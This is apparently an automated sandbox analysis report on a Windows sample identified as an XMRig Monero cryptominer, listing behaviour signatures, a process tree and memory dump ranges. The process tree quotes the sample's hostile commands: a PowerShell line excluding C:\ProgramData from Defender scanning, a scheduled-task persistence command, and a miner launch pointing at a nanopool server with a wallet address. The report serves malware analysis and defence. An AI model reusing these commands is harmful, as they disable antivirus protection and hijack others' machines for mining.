Analysis
- max time kernel
90s - max time network
120s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
08/01/2023, 16:08
General
- Target file.exe
- Size 841KB
- Sample230108-tk74vahd9s
- SHA256 39bdaa124d8c490709dfe79db8dc03b7438b401efd866b6a87b16554c67a8681
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4524-148-0x00007FFECDEA0000-0x00007FFECE961000-memory.dmp
memory/4524-147-0x00000183754C0000-0x00000183754E2000-memory.dmp
memory/4788-162-0x00000262E4F80000-0x00000262E4FA0000-memory.dmp
memory/4788-164-0x0000026377170000-0x00000263771B0000-memory.dmp
memory/4788-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4788-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4788-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4788-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4788-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4788-168-0x00000262E4FD0000-0x00000262E4FF0000-memory.dmp
memory/4788-169-0x00000262E5110000-0x00000262E5130000-memory.dmp
memory/4788-170-0x00000262E4FD0000-0x00000262E4FF0000-memory.dmp
memory/4788-171-0x00000262E5110000-0x00000262E5130000-memory.dmp
memory/5008-142-0x00000000003B0000-0x00000000004EC000-memory.dmp
memory/5008-133-0x00007FFECF7C0000-0x00007FFECF86A000-memory.dmp
memory/5008-150-0x0000000001250000-0x0000000001292000-memory.dmp
memory/5008-149-0x00000000003B0000-0x00000000004EC000-memory.dmp
memory/5008-154-0x00007FFEC9210000-0x00007FFEC9245000-memory.dmp
memory/5008-155-0x00007FFEC9250000-0x00007FFEC9352000-memory.dmp
memory/5008-156-0x00007FFEEB7C0000-0x00007FFEEB82B000-memory.dmp
memory/5008-157-0x00007FFEE9A40000-0x00007FFEE9A7B000-memory.dmp
memory/5008-145-0x00007FFEEA700000-0x00007FFEEA727000-memory.dmp
memory/5008-144-0x00007FFECDEA0000-0x00007FFECE961000-memory.dmp
memory/5008-143-0x00007FFECED30000-0x00007FFECEE7E000-memory.dmp
memory/5008-151-0x00007FFECDEA0000-0x00007FFECE961000-memory.dmp
memory/5008-141-0x00007FFEEBAB0000-0x00007FFEEBADB000-memory.dmp
memory/5008-138-0x00007FFECDEA0000-0x00007FFECE961000-memory.dmp
memory/5008-140-0x0000000001250000-0x0000000001292000-memory.dmp
memory/5008-139-0x00000000003B0000-0x00000000004EC000-memory.dmp
memory/5008-166-0x00000000003B0000-0x00000000004EC000-memory.dmp
memory/5008-167-0x00007FFECDEA0000-0x00007FFECE961000-memory.dmp
memory/5008-137-0x00007FFEEB2D0000-0x00007FFEEB471000-memory.dmp
memory/5008-135-0x00007FFEE8590000-0x00007FFEE85A2000-memory.dmp
memory/5008-136-0x00007FFECF700000-0x00007FFECF7BD000-memory.dmp
memory/5008-134-0x00007FFEEB160000-0x00007FFEEB1FE000-memory.dmp